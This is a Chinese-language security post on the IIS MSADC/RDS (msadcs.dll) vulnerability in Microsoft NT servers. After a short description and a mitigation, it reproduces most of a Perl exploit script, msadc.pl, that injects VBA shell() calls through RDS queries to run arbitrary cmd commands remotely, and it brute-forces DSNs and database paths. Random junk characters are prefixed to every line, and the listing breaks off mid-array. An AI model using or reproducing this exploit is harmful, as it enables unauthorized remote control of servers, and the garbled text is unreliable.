IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
>+,1@R ] ^ 涉及程序:
']+H P9i$ Microsoft NT server
iF61J%3- ,ISq7*%F 描述:
B;1wnKdj 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
L[TL~@T f()^^ + 详细:
vbwEX 6 如果你没有时间读详细内容的话,就删除:
hw~cS7 c:\Program Files\Common Files\System\Msadc\msadcs.dll
BIV]4vl-& 有关的安全问题就没有了。
r=&PUT+vt 0b*a2_|8k 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
Z][?'^`^! du'$JtZo 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
9R.tkc|K 关于利用ODBC远程漏洞的描述,请参看:
Av+
w>~/3 RA.@(DN& http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm vkbB~gr@* ;;l( 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
.=^h@C*
http://www.microsoft.com/security/bulletins/MS99-025faq.asp "lN<v= 9h*$P:S;1v 这里不再论述。
rD$7; ^D vaT9s 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
E8NIH!dI G*J(4~Yw} /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
:nZ*x=aq 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
:Q\h'$C |G%MiYd dF1Bo #将下面这段保存为txt文件,然后: "perl -x 文件名"
OQ!mL3f 3UrqV`x \ #!perl
*'exvY~ #
G ROl9xp2 # MSADC/RDS 'usage' (aka exploit) script
b[RBp0]x #
ch :428 # by rain.forest.puppy
%@pTEhpF #
g08=D$P # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
k"Sw,"e>+ # beta test and find errors!
#"7:NR^H^ C:
e}}8i use Socket; use Getopt::Std;
xn}'!S2-b getopts("e:vd:h:XR", \%args);
cs@5K$v BAt2m- print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
VT'$lB%IK D4o? if (!defined $args{h} && !defined $args{R}) {
K= 06I print qq~
U35}0NT _ Usage: msadc.pl -h <host> { -d <delay> -X -v }
wu
3uu1J -h <host> = host you want to scan (ip or domain)
V TEyqo2 -d <seconds> = delay between calls, default 1 second
,LzS"lmmo -X = dump Index Server path table, if available
|h6@hB\ -v = verbose
Zjo9c{\ -e = external dictionary file for step 5
Jw
{:1 e,1Jxz4QH Or a -R will resume a command session
GSpS8wWD } v8pUt\m" ~; exit;}
jl:O~UL6i /9GqEQsfM $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
c+4SGWmO if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
]$*N5Y if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
NPS=?5p> if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
(G$m}ng $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
4r5,kOFWb if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
z':>nw x!"!oJG^k if (!defined $args{R}){ $ret = &has_msadc;
*FG@Dts^& die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
(iWNvVGS W:EXL@ print "Please type the NT commandline you want to run (cmd /c assumed):\n"
gB~SCl54 . "cmd /c ";
ASu9c2s $in=<STDIN>; chomp $in;
Pv/P<i^ $command="cmd /c " . $in ;
AKAAb~{ 0/] @#G2 if (defined $args{R}) {&load; exit;}
7r}gS2d #c!(97l6o print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
KCCS7l/ &try_btcustmr;
D=dY4WwG $X\BO& print "\nStep 2: Trying to make our own DSN...";
6xBP72L;%" &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
&ul9N)A +d'h20 print "\nStep 3: Trying known DSNs...";
EB> RY+\ &known_dsn;
MuO>O97 q2/Vt0aYx print "\nStep 4: Trying known .mdbs...";
SULWPH5Pr &known_mdb;
]pB~&0jg *><]
[|Y@H if (defined $args{e}){
PK+][.6H print "\nStep 5: Trying dictionary of DSN names...";
9:=a FP &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
y>~KeUC /6S/a*`<X print "Sorry Charley...maybe next time?\n";
hc[GpZcw, exit;
$6'xRUx X W
tzV|e, ##############################################################################
'0o`<xW S2<(n," sub sendraw { # ripped and modded from whisker
aMz%H|/$ sleep($delay); # it's a DoS on the server! At least on mine...
{s`1+6_&Vz my ($pstr)=@_;
".w*_1G7U socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
*`l>1)B> die("Socket problems\n");
&Vonu* if(connect(S,pack "SnA4x8",2,80,$target)){
{b#c0>.8- select(S); $|=1;
8^4X/n print $pstr; my @in=<S>;
jN*A"m select(STDOUT); close(S);
(U7%Z< return @in;
h_A}i2/{ } else { die("Can't connect...\n"); }}
LRbevpZ, WO}JIExy ##############################################################################
1":{$A?OB aa".d[*1 sub make_header { # make the HTTP request
U7ajDw my $msadc=<<EOT
B8TI 5mZ4 POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
iK.MC%8? User-Agent: ACTIVEDATA
Dt+"E Host: $ip
kYR&t}jlCg Content-Length: $clen
j+c)% Connection: Keep-Alive
PN.=])7T "3hw]`a} ADCClientVersion:01.06
%@rh\Z Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
XHe= `__CL
)N| --!ADM!ROX!YOUR!WORLD!
?Z14l0iZ%d Content-Type: application/x-varg
ucA6s:!={ Content-Length: $reqlen
1C|j<w=i ]1Q\wsB EOT
3cfkJ|fuwe ; $msadc=~s/\n/\r\n/g;
O%+:fJz6wI return $msadc;}
m&$H?yXW> Z-vzq; ##############################################################################
,,G0}N@7s U2Ur N?T sub make_req { # make the RDS request
{fGi:b\[ 8 my ($switch, $p1, $p2)=@_;
R=9j+74U my $req=""; my $t1, $t2, $query, $dsn;
Jl9T[QAJn1 zJx<]=] if ($switch==1){ # this is the btcustmr.mdb query
-l,ib=ne $query="Select * from Customers where City=" . make_shell();
,-{j. $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
u_Q3v9 $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
lI5{]?' #2WBYScW0 elsif ($switch==2){ # this is general make table query
Vy5Q+gw $query="create table AZZ (B int, C varchar(10))";
~w$8*2D $dsn="$p1";}
m_]"L z5i!GJB elsif ($switch==3){ # this is general exploit table query
5w1=j\oq $query="select * from AZZ where C=" . make_shell();
5jsnE ) $dsn="$p1";}
Gu%`__ =ecv;uu2 elsif ($switch==4){ # attempt to hork file info from index server
_zpn+XVdQ $query="select path from scope()";
IC{>q3 $dsn="Provider=MSIDXS;";}
I|`K;a
[6-l6W elsif ($switch==5){ # bad query
AX1\L|tJS $query="select";
-iW[cj
R`$ $dsn="$p1";}
wLgRI$_Dm =tog<7 $t1= make_unicode($query);
c`t1:%S $t2= make_unicode($dsn);
4 5Ql7~ $req = "\x02\x00\x03\x00";
{`3;Pd` $req.= "\x08\x00" . pack ("S1", length($t1));
De^is^{ $req.= "\x00\x00" . $t1 ;
@lj $req.= "\x08\x00" . pack ("S1", length($t2));
Cw+ (,1 $req.= "\x00\x00" . $t2 ;
4bJ3uIP# $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
I&cb5j]C return $req;}
t^7R6y yk#:.5H ##############################################################################
YqDw*S{ 2>H\arEstR sub make_shell { # this makes the shell() statement
1fC|_V(0 return "'|shell(\"$command\")|'";}
ZU:gNO0 $OUa3!U_! ##############################################################################
<&x_e-;b' QOP*vH >J sub make_unicode { # quick little function to convert to unicode
tq*Q|9j7VG my ($in)=@_; my $out;
_@@S,(MA for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
n@%'Nbc>b return $out;}
8l}|.Q#-- 9:kb0oBa?l ##############################################################################
8F@6^9C (Ux%7H_d sub rdo_success { # checks for RDO return success (this is kludge)
$ &^
,(z9 my (@in) = @_; my $base=content_start(@in);
yx}:Sgv% if($in[$base]=~/multipart\/mixed/){
-(59F return 1 if( $in[$base+10]=~/^\x09\x00/ );}
:]//{HF return 0;}
dIf Jr}ih t /47lYN) ##############################################################################
[UI
bO@e ZPMEN,Dw sub make_dsn { # this makes a DSN for us
d>aZpJ[. my @drives=("c","d","e","f");
v\HGL56T print "\nMaking DSN: ";
a1}W2;W0]g foreach $drive (@drives) {
Z>D7C?v:( print "$drive: ";
bh_ALu^CSX my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
.Ftml' ! "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
A] F K\ . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
2dq{n.cgs $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
d+IPa<N return 0 if $2 eq "404"; # not found/doesn't exist
l s_i)X if($2 eq "200") {
od|pI5St foreach $line (@results) {
O{dx+f return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
tb=(L } return 0;}
Ny~;"n TQEZ<B$ ##############################################################################
kNjbpCE\! }5]NUxQ_ sub verify_exists {
*in_Zt3 my ($page)=@_;
HK-?<$Yc my @results=sendraw("GET $page HTTP/1.0\n\n");
o?X\,}-s return $results[0];}
grS,PKH :4Y|%7[
##############################################################################
fDRQ(} bk7miRIB sub try_btcustmr {
2?"9NQvz my @drives=("c","d","e","f");
G?"1
z; my @dirs=("winnt","winnt35","winnt351","win","windows");
h?R-t*G? ,sc>~B@Q foreach $dir (@dirs) {
*|jqRfa" print "$dir -> "; # fun status so you can see progress
"TxXrt%>A foreach $drive (@drives) {
RM`8P5i]sF print "$drive: "; # ditto
62zlO{ >rJ $reqlen=length( make_req(1,$drive,$dir) ) - 28;
kO5KZ;+N- $reqlenlen=length( "$reqlen" );
wJgM.V"yb $clen= 206 + $reqlenlen + $reqlen;
%|u"0/ r!zNcN(%cs my @results=sendraw(make_header() . make_req(1,$drive,$dir));
.58AXg if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
#
I<G:) else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
0}b8S48|? V}JW@ ##############################################################################
T|}HK]QOX .6tz ^4 sub odbc_error {
/!E /9[V my (@in)=@_; my $base;
Uvuvr_IP my $base = content_start(@in);
S\f^y8*< if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
7<KRB\)b& $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
-kJF@w6u $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
[mwfgh&4% $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
p1&d@PF&& return $in[$base+4].$in[$base+5].$in[$base+6];}
"~Eo=R0O print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
|[: `izW print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
}8FP5Z'Cf% $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
%"z W] J7$=f~$ ##############################################################################
G%>[I6G x7/2e{p
uu sub verbose {
p\,lbrv my ($in)=@_;
Bq _<v)M* return if !$verbose;
H`".L^ print STDOUT "\n$in\n";}
2.x3^/ l9<+4rK2 ##############################################################################
0? l Fq{nc]L6 sub save {
g\^(>Ouc my ($p1, $p2, $p3, $p4)=@_;
PEBQ|k8g& open(OUT, ">rds.save") || print "Problem saving parameters...\n";
w|M?t{ print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
S=my;M- close OUT;}
z1L. <oeHZD_OR ##############################################################################
{6KU.'#iF 5 i#B?+Y sub load {
c8yD-U/- my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
P EbB0GL open(IN,"<rds.save") || die("Couldn't open rds.save\n");
KL|B| u @p=<IN>; close(IN);
sX=!o})0 $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
CtE".UlCA $target= inet_aton($ip) || die("inet_aton problems");
zL_X?UmV print "Resuming to $ip ...";
d~n+Ds)%F $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
6\]-J*e> if($p[1]==1) {
Pjx9@i $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
Gis'IX( $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
4RzG3CJdS my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
6?t5g4q*nn if (rdo_success(@results)){print "Success!\n";}
E+Gea[c else { print "failed\n"; verbose(odbc_error(@results));}}
P(Lwpa,S
elsif ($p[1]==3){
&556 ;l if(run_query("$p[3]")){
ilNm\fQ. print "Success!\n";} else { print "failed\n"; }}
~PV>3c3l= elsif ($p[1]==4){
}%:?s6Ler if(run_query($drvst . "$p[3]")){
vWgh?h/ot print "Success!\n"; } else { print "failed\n"; }}
R
`'@$" exit;}
Rc6Rk!^ 7'<4'BGzl] ##############################################################################
[s2%t"H-y '-*r&: sub create_table {
Dg]i}; my ($in)=@_;
KYeA= $reqlen=length( make_req(2,$in,"") ) - 28;
A7sej $reqlenlen=length( "$reqlen" );
EdU3k'z$ $clen= 206 + $reqlenlen + $reqlen;
6Qo6T][ my @results=sendraw(make_header() . make_req(2,$in,""));
iffU}ce return 1 if rdo_success(@results);
E O}(MXS my $temp= odbc_error(@results); verbose($temp);
^oP]@r"qy return 1 if $temp=~/Table 'AZZ' already exists/;
@emZwN"m return 0;}
*yJb4uALB g VuN a) ##############################################################################
=CJs&Qa2 |, :(3Ml sub known_dsn {
Dp'/uCW) # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
1k hwwoo my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
_\1(7 ?0D "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
+6>Pp[% "banner", "banners", "ads", "ADCDemo", "ADCTest");
JD>!3>S)? |W::\yu6 foreach $dSn (@dsns) {
2L\h+) print ".";
{vU '>pp next if (!is_access("DSN=$dSn"));
"5e]-u' if(create_table("DSN=$dSn")){
YvU#)M_h print "$dSn successful\n";
Oq.)
8E. if(run_query("DSN=$dSn")){
E+>;tLw3j print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
jALo;PDJ print "Something's borked. Use verbose next time\n";}}} print "\n";}
`q/y|/v< im?nR+t+X ##############################################################################
g)"6|Z?D" oW8[2$_N+ sub is_access {
D2hvf^g'* my ($in)=@_;
M,[ClQ 9 $reqlen=length( make_req(5,$in,"") ) - 28;
dNyc|P`U $reqlenlen=length( "$reqlen" );
!cq4+0{O;& $clen= 206 + $reqlenlen + $reqlen;
Sj*H4ZHD<& my @results=sendraw(make_header() . make_req(5,$in,""));
< ^&'r5H my $temp= odbc_error(@results);
sO*6F`eiZ verbose($temp); return 1 if ($temp=~/Microsoft Access/);
HY42G#^ return 0;}
@<AIPla '|+_~ZO*d ##############################################################################
=GpLlJ`- mHhm~u sub run_query {
]A\n>Z!; my ($in)=@_;
K;Xn!:) V: $reqlen=length( make_req(3,$in,"") ) - 28;
E6G^?k~q $reqlenlen=length( "$reqlen" );
0|U<T#t8? $clen= 206 + $reqlenlen + $reqlen;
Oe=,-\&_ my @results=sendraw(make_header() . make_req(3,$in,""));
A/.cNen return 1 if rdo_success(@results);
j9,X.?Xvx my $temp= odbc_error(@results); verbose($temp);
|)lo<}{ return 0;}
Tu"yoF m760K*:i\ ##############################################################################
T&h|sa( 'R$~U?i8 sub known_mdb {
FqiK}K.~/ my @drives=("c","d","e","f","g");
jVA xa|S my @dirs=("winnt","winnt35","winnt351","win","windows");
<ImeZ'L7 my $dir, $drive, $mdb;
qzG'Gz{{qu my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
:')<|(Zy
D?E5p.!A # this is sparse, because I don't know of many
Wl,yznT my @sysmdbs=( "\\catroot\\icatalog.mdb",
Xu
T|vh "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
="4jk=on "\\system32\\certmdb.mdb",
H#ihU3q "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
;P{ *'@ 4bKZ@r% my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
*zx;81X= "\\cfusion\\cfapps\\forums\\forums_.mdb",
v14[G@V~\ "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
x_Z~k "\\cfusion\\cfapps\\security\\realm_.mdb",
6ZM<M7(V "\\cfusion\\cfapps\\security\\data\\realm.mdb",
@3G3l|~> "\\cfusion\\database\\cfexamples.mdb",
K>q,?x b "\\cfusion\\database\\cfsnippets.mdb",
$@<